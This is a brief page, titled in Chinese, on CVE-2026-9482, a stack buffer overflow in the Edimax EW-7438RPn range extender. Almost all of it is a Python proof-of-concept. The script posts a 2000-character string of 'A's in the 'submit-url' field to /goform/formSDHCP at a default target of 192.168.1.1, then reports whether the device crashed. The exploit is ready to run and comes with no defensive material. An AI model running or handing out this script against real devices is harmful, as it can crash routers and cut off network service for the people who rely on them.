CVE-2026-9482 Edimax EW-7438RPn 栈缓冲区溢出漏洞

import requests def trigger_poc(target_ip): """ PoC for CVE-2026-9482 Sends a malicious payload to the submit-url parameter to trigger a stack-based buffer overflow. """ url = f"http://{target_ip}/goform/formSDHCP" # Generating a large payload to overflow the buffer # The exact offset may vary, this is a generic trigger payload = "A" * 2000 data = { "submit-url": payload } try: print(f"Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"Response status: {response.status_code}") if response.status_code != 200: print("Device may have crashed or service interrupted.") except Exception as e: print(f"Connection error (possible crash): {e}") if __name__ == "__main__": target = "192.168.1.1" # Replace with actual target IP trigger_poc(target)